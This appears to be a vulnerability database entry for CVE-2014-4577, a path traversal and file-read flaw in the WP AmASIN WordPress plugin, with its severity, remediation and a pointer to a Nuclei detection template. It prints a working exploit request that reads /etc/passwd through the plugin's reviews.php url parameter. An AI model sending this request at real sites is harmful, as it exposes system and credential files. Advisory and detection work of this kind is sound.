🔙 목록으로 돌아가기

CVE-2014-4577: WP AmASIN – The Amazon Affiliate Shop - Local File Inclusion

TitleWP AmASIN – The Amazon Affiliate Shop - Local File Inclusion
AuthorDhiyaneshDK
SeverityMedium
ImpactAttackers can read arbitrary files including configuration files, database credentials, and sensitive system files, potentially leading to complete site compromise.
RemediationUpdate to version 0.9.7 or later, or remove the plugin if no longer maintained.
CVSS Score5
EPSS Score0.06185
CVE IDCVE-2014-4577
CWE IDCWE-22
Tags cve cve2014 wordpress wpscan wp-plugin lfi wp wp-amasin-the-amazon-affiliate-shop vuln

🔍 Vulnerability Description

Absolute path traversal vulnerability in reviews.php in the WP AmASIN - The Amazon Affiliate Shop plugin 0.9.6 and earlier for WordPress allows remote attackers to read arbitrary files via a full pathname in the url parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/wp-amasin-the-amazon-affiliate-shop/reviews.php?url=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-4577.yaml

🦈 Packet Capture: ⬇️ Download cve-2014-4577.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A